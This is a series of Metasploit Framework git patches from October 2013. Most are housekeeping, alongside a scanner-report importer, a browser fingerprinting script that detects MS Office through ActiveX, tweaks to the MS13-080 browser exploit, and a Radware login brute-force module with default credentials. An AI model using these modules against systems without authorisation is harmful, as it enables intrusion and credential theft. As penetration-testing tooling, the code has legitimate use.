a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index aec1899c9b..321c35fabc 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index ffb81adea8..3ecfec429f 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index 2e228ccf4f..c0e8962a8f 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 7e042325aa..f88e3b80f3 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 35056fcb6b..2f23dafc5d 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index ce79e3242b..dd9a44af53 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -49,7 +49,7 @@ Find.find(dir) do |infile| fixed = [] data.each_line do |line| case line - when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /# Framework web site for more information on licensing and terms of use./ + when /^[\x20\x09]*#( ##)? This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /# Framework web site for more information on licensing and terms of use./ new_line = resplat(line) fixed << new_line if new_line else From f57032636e2da333eeca31e66e12cf1e0574260b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:57:04 -0500 Subject: [PATCH 191/409] Straggler on a weird boilerplate format --- modules/post/windows/gather/word_unc_injector.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index bbfdd350ee..613588a999 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://Metasploit.com/projects/Framework/ ## require 'msf/core' From 2f2b93cf612453100c67981d7e81fff10280dee8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:59:56 -0500 Subject: [PATCH 192/409] Avoid resplatting resplat.rb --- tools/dev/resplat.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index dd9a44af53..9acef8a8c9 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -49,7 +49,7 @@ Find.find(dir) do |infile| fixed = [] data.each_line do |line| case line - when /^[\x20\x09]*#( ##)? This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /# Framework web site for more information on licensing and terms of use./ + when /^[\x20\x09]*#( ##)? This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /^# Framework web site for more information on licensing and terms of use./ new_line = resplat(line) fixed << new_line if new_line else From 38965f91ee039d685f17d508669f08de542ac47a Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 3 Oct 2013 15:23:33 -0500 Subject: [PATCH 193/409] Add Outpost24 importer code to core/db.rb --- lib/msf/core/db.rb | 36 +++++++++++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index bce0235d93..b3beb1b7be 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -41,6 +41,7 @@ require 'rex/parser/nexpose_simple_nokogiri' require 'rex/parser/nmap_nokogiri' require 'rex/parser/openvas_nokogiri' require 'rex/parser/wapiti_nokogiri' +require 'rex/parser/outpost24_nokogiri' # Legacy XML parsers -- these will be converted some day require 'rex/parser/ip360_aspl_xml' @@ -2926,7 +2927,7 @@ class DBManager # Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml # :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog # :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml - # :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml + # :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml # If there is no match, an error is raised instead. def import_filetype_detect(data) @@ -3059,6 +3060,9 @@ class DBManager @import_filedata[:type] = "CI" return :ci_xml end + when "main" + @import_filedata[:type] = "Outpost24 XML" + return :outpost24_xml else # Give up if we haven't hit the root tag in the first few lines break if line_count > 10 @@ -5923,6 +5927,36 @@ class DBManager parser.parse(args[:data]) end + def import_outpost24_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_outpost24_noko_stream(noko_args) {|type, data| yield type,data} + else + import_outpost24_noko_stream(noko_args) + end + return true + else # Sorry + raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end + + def import_outpost24_noko_stream(args={},&block) + if block + doc = Rex::Parser::Outpost24Document.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::Outpost24Document.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + def unserialize_object(xml_elem, allow_yaml = false) return nil unless xml_elem From 4c91f2e0f5e93517776ca6dcc4741999a7b7428d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 16:27:23 -0500 Subject: [PATCH 194/409] Add detection code MS Office Add detection code for MS Office XP, 2003, 2007, 2010, and 2012. [SeeRM #8413] --- lib/msf/core/exploit/http/server.rb | 1 + .../exploitation/javascriptaddonsdetect.js | 51 +++++++++++++++++++ .../exploitation/javascriptaddonsdetect.rb | 29 +++++++++++ 3 files changed, 81 insertions(+) create mode 100644 lib/rex/exploitation/javascriptaddonsdetect.js create mode 100644 lib/rex/exploitation/javascriptaddonsdetect.rb diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 5a17c1c6ae..af639e8e08 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -4,6 +4,7 @@ require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' require 'rex/exploitation/javascriptosdetect' +require 'rex/exploitation/javascriptaddonsdetect' module Msf diff --git a/lib/rex/exploitation/javascriptaddonsdetect.js b/lib/rex/exploitation/javascriptaddonsdetect.js new file mode 100644 index 0000000000..9f3c9f5608 --- /dev/null +++ b/lib/rex/exploitation/javascriptaddonsdetect.js @@ -0,0 +1,51 @@ +window.addons_detect = { }; + +/** + * Returns the version of Microsoft Office. If not found, returns null. + **/ +window.addons_detect.getMsOfficeVersion = function () { + var version; + var types = new Array(); + for (i=1; i <= 5; i++) { + try { + types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString())); + } + catch (e) { + types[i-1] = null; + } + } + + if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == 'object' && types[4] == 'object') + { + version = "2012"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == 'object' && types[4] == null) + { + version = "2010"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == null && types[4] == null) + { + version = "2007"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == null && + types[3] == null && types[4] == null) + { + version = "2003"; + } + else if (types[0] == 'object' && types[1] == null && types[2] == null && + types[3] == null && types[4] == null) + { + // If run for the first time, you must manullay allow the "Microsoft Office XP" + // add-on to run. However, this prompt won't show because the ActiveXObject statement + // is wrapped in an exception handler. + version = "xp"; + } + else { + version = null; + } + + return version; +} \ No newline at end of file diff --git a/lib/rex/exploitation/javascriptaddonsdetect.rb b/lib/rex/exploitation/javascriptaddonsdetect.rb new file mode 100644 index 0000000000..0d9be8aa88 --- /dev/null +++ b/lib/rex/exploitation/javascriptaddonsdetect.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation + +# +# Provides javascript functions to determine addon information. +# +# getMsOfficeVersion(): Returns the version for Microsoft Office +# +class JavascriptAddonsDetect < JSObfu + + def initialize(custom_js = '', opts = {}) + @js = custom_js + @js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptaddonsdetect.js")) + + super @js + + return @js + end + +end +end + +end From ad8af0202162e865b9455a94749a7077a0a5124e Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 11 Oct 2013 16:51:41 -0500 Subject: [PATCH 195/409] Add my wonderfully simplistic Outpost24 parser --- lib/rex/parser/outpost24_nokogiri.rb | 165 +++++++++++++++++++++++++++ 1 file changed, 165 insertions(+) create mode 100644 lib/rex/parser/outpost24_nokogiri.rb diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb new file mode 100644 index 0000000000..226ce5abaa --- /dev/null +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -0,0 +1,165 @@ +require "rex/parser/nokogiri_doc_mixin" + +module Rex +module Parser + +load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document + + include NokogiriDocMixin + + def start_element(name, attrs) + @state[:current_tag][name] = true + case name + when "hostlist" + @report_data[:hosts] = [] + when "portlist" + @report_data[:services] = [] + when "detaillist" + @report_data[:vulns] = [] + when "host" + return unless in_tag("hostlist") + @host = {} + when "portinfo" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + @service = {} + when "detail" + return unless in_tag("detaillist") + @vuln = {} + when "ip" + @state[:has_text] = true + when "platform" + return unless in_tag("hostlist") + return unless in_tag("host") + @state[:has_text] = true + when "portnumber", "protocol", "service" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + return unless in_tag("portinfo") + @state[:has_text] = true + when "name", "description" + return unless in_tag("detaillist") + return unless in_tag("detail") + @state[:has_text] = true + end + end + + def end_element(name) + case name + when "hostlist" + report_hosts + when "portlist" + report_services + when "detaillist" + report_vulns + when "host" + return unless in_tag("hostlist") + collect_host + when "portinfo" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + collect_service + when "detail" + return unless in_tag("detaillist") + collect_vuln + when "ip" + collect_ip + when "platform" + return unless in_tag("hostlist") + return unless in_tag("host") + collect_host_data(name) + when "portnumber", "protocol", "service" + return unless in_tag("portlist") + return unless in_tag("portlist-host") + return unless in_tag("portinfo") + collect_service_data(name) + when "name", "description" + return unless in_tag("detaillist") + return unless in_tag("detail") + collect_vuln_data(name) + end + @state[:current_tag].delete(name) + end + + def collect_host + @host[:host] = @state[:host] + @host[:os_name] = @state[:os_name] + @report_data[:hosts] << @host + end + + def collect_service + @service[:host] = @state[:host] + @service[:port] = @state[:port] + @service[:proto] = @state[:proto] + @service[:name] = @state[:sname] + @report_data[:services] << @service + end + + def collect_vuln + @vuln[:host] = @state[:host] + @vuln[:name] = @state[:name] + @vuln[:info] = @state[:info] + @report_data[:vulns] << @vuln + end + + def collect_ip + @state[:has_text] = false + @state[:host] = @text.strip if @text + @text = nil + end + + def collect_host_data(name) + @state[:has_text] = false + if name == "platform" + if @text + @state[:os_name] = @text.strip + else + @state[:os_name] = Msf::OperatingSystems::UNKNOWN + end + end + @text = nil + end + + def collect_service_data(name) + @state[:has_text] = false + if name == "portnumber" + @state[:port] = @text.strip if @text + elsif name == "protocol" + @state[:proto] = @text.strip.downcase if @text + elsif name == "service" + @state[:sname] = @text.strip if @text + end + @text = nil + end + + def collect_vuln_data(name) + @state[:has_text] = false + if name == "name" + @state[:name] = @text.strip if @text + elsif name == "description" + @state[:info] = @text.strip if @text + end + @text = nil + end + + def report_hosts + @report_data[:hosts].each do |host| + db_report(:host, host) + end + end + + def report_services + @report_data[:services].each do |service| + db_report(:service, service) + end + end + + def report_vulns + @report_data[:vulns].each do |vuln| + db_report(:vuln, vuln) + end + end + +end +end +end From ac78f1cc5bb8011e0501c390e7befff761fcff63 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 23:37:11 -0500 Subject: [PATCH 196/409] Use Base64 encoding for OS parameter I didn't even realize we already added this in server.rb. So instead of just escaping the OS parameter, we also encode the data in base64. I also added prependmigrate to avoid unstable conditions for the payload. --- .../windows/browser/ms13_080_cdisplaypointer.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index cdbd765418..3b46067eea 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,6 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { + 'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, @@ -88,6 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_check_html %Q| @@ -280,7 +282,12 @@ function kaiju() { def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ - target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } + target_info = + { + :os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)), + :dll => Rex::Text.uri_decode($2) + } + sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return From 0081e186f76b6bcad9275e4f99c775079e1d09ed Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 23:59:23 -0500 Subject: [PATCH 197/409] Make sure i var is local --- lib/rex/exploitation/javascriptaddonsdetect.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptaddonsdetect.js b/lib/rex/exploitation/javascriptaddonsdetect.js index 9f3c9f5608..277c1fd469 100644 --- a/lib/rex/exploitation/javascriptaddonsdetect.js +++ b/lib/rex/exploitation/javascriptaddonsdetect.js @@ -6,7 +6,7 @@ window.addons_detect = { }; window.addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); - for (i=1; i <= 5; i++) { + for (var i=1; i <= 5; i++) { try { types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString())); } From 06a212207e03d5285c617e8f1c72f88447d17292 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 16 Oct 2013 09:24:46 -0500 Subject: [PATCH 198/409] Put PrependMigrate on hold because of #1674 But I will probably still want this. --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 3b46067eea..0447278a3b 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'PrependMigrate' => true, + #'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, From 3fc1a75a6bfe08d5e553eaa54519ae265c6dec5d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 10:40:42 -0500 Subject: [PATCH 199/409] Simplify msftidy with Find.find and add fixed() Also, enforce binary encoding like the other Metasploit tools. This opens the door to fixing files that have things that could be fixed programmatically. [SeeRM #8497] --- tools/msftidy.rb | 65 +++++++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 36 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 49a6e0ca4c..d1c59a2489 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -1,10 +1,13 @@ #!/usr/bin/env ruby +# -*- coding: binary -*- # # Check (recursively) for style compliance violations and other # tree inconsistencies. # # by jduck and friends # +require 'fileutils' +require 'find' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] @@ -22,6 +25,10 @@ class String "\e[1;33;40m#{self}\e[0m" end + def green + "\e[1;32;40m#{self}\e[0m" + end + def ascii_only? self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true end @@ -31,9 +38,12 @@ class Msftidy LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long + attr_reader :full_filepath, :source, :name + def initialize(source_file) + @full_filepath = source_file @source = load_file(source_file) - @name = source_file + @name = File.basename(source_file) end public @@ -56,6 +66,11 @@ class Msftidy puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" end + def fixed(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'FIXED'.green}] #{txt}" + end + ## # @@ -234,12 +249,12 @@ class Msftidy end end - def test_old_rubies(f_rel) + def test_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM - puts "Checking syntax for #{f_rel}." + puts "Checking syntax for #{@name}." rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} + res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/} error("Fails alternate Ruby version check") if rubies.size != res.size end @@ -411,14 +426,14 @@ class Msftidy end end -def run_checks(f_rel) - tidy = Msftidy.new(f_rel) +def run_checks(full_filepath) + tidy = Msftidy.new(full_filepath) tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option tidy.check_badchars tidy.check_extname - tidy.test_old_rubies(f_rel) + tidy.test_old_rubies tidy.check_ranking tidy.check_disclosure_date tidy.check_title_casing @@ -441,33 +456,11 @@ if dirs.length < 1 exit(1) end -dirs.each { |dir| - f = nil - old_dir = nil - - if dir - if File.file?(dir) - # whoa, a single file! - f = File.basename(dir) - dir = File.dirname(dir) - end - - old_dir = Dir.getwd - Dir.chdir(dir) - dparts = dir.split('/') - else - dparts = [] +dirs.each do |dir| + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless full_filepath =~ /\.rb$/ + run_checks(full_filepath) end - - # Only one file? - if f - run_checks(f) - else - # Do a recursive check of the specified directory - Dir.glob('**/*.rb') { |f| - run_checks(f) - } - end - - Dir.chdir(old_dir) -} +end From 3c2dddd7aa090a85e90c6e5043cfa67d6c2c1563 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 14:43:30 -0500 Subject: [PATCH 200/409] Update reference with a non-plagarised source --- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 9875098f33..8777562f45 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], + [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) From 2833d583870d2b59dbd3dfd2a493a2801e1bacd8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 15:01:28 -0500 Subject: [PATCH 201/409] Add OSVDB for vbulletin exploit --- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 8777562f45..9fe008ce1e 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], + [ 'OSVDB', '98370' ], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) From f3d4229ed47474c55c54bc0e04774668d856ff81 Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Thu, 17 Oct 2013 01:36:26 +0530 Subject: [PATCH 202/409] Updated code msftidy compliant now. Have run it thru retab.rb, hence the indent like this. --- .../scanner/http/radware_appdirector_enum | 189 +++++++++--------- 1 file changed, 97 insertions(+), 92 deletions(-) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum b/modules/auxiliary/scanner/http/radware_appdirector_enum index 895df39947..c31993b8fb 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum @@ -10,109 +10,114 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner - def initialize(info={}) - super(update_info(info, - 'Name' => 'Radware AppDirector Bruteforce Login Utility', - 'Description' => %{ - This module scans for Radware AppDirector's web login portal, and performs login brute force - to identify valid credentials. - }, - 'Author' => - [ - 'Karn Ganeshen ', - ], - 'License' => MSF_LICENSE, + def initialize(info={}) + super(update_info(info, + 'Name' => 'Radware AppDirector Bruteforce Login Utility', + 'Description' => %{ + This module scans for Radware AppDirector's web login portal, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE, - 'DefaultOptions' => - { - 'DB_ALL_CREDS' => false, - 'BLANK_PASSWORDS' => false - } - )) + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false + } + )) - register_options( - [ - OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]), - OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), - OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) - ], self.class) - end + register_options( + [ + OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]), + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) + ], self.class) + end - def run_host(ip) - unless is_app_radware? - print_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") - return - end + def run_host(ip) + unless is_app_radware? + return + end - print_status("#{rhost}:#{rport} - Starting login brute force...") - each_user_pass do |user, pass| - do_login(user, pass) - end - end + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end - # - # What's the point of running this module if the target actually isn't Radware - # - def is_app_radware? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - return false - end + # + # What's the point of running this module if the target actually isn't Radware + # - if (res and res.headers['Server'].include?("Radware-web-server")) - vprint_good("#{rhost}:#{rport} - Running Radware portal...") - return true - else - return false - end - end + def is_app_radware? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return false + end - # - # Brute-force the login page - # - def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) - }) + if (res and res.headers['Server'] and res.headers['Server'].include?("Radware-web-server")) + vprint_good("#{rhost}:#{rport} - Running Radware portal...") + return true + else + print_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") + return false + end + end - if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + # + # Brute-force the login page + # - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Radware AppDirector', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) - report_auth_info(report_hash) - return :next_user + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end + end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") - return :abort - end - end + if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'Radware AppDirector', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + end end From cc42fbc59ecf734d267035860d811233e1538977 Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Thu, 17 Oct 2013 01:40:05 +0530 Subject: [PATCH 203/409] Added ext .rb ... ext .rb why you no save. --- .../{radware_appdirector_enum => radware_appdirector_enum.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{radware_appdirector_enum => radware_appdirector_enum.rb} (100%) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb similarity index 100% rename from modules/auxiliary/scanner/http/radware_appdirector_enum rename to modules/auxiliary/scanner/http/radware_appdirector_enum.rb From 4fa3b8f8203f5f994397a4c9d07460d6b13dea24 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 16 Oct 2013 15:56:34 -0500 Subject: [PATCH 204/409] Add support for IE7 on XP --- .../windows/browser/ms13_080_cdisplaypointer.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 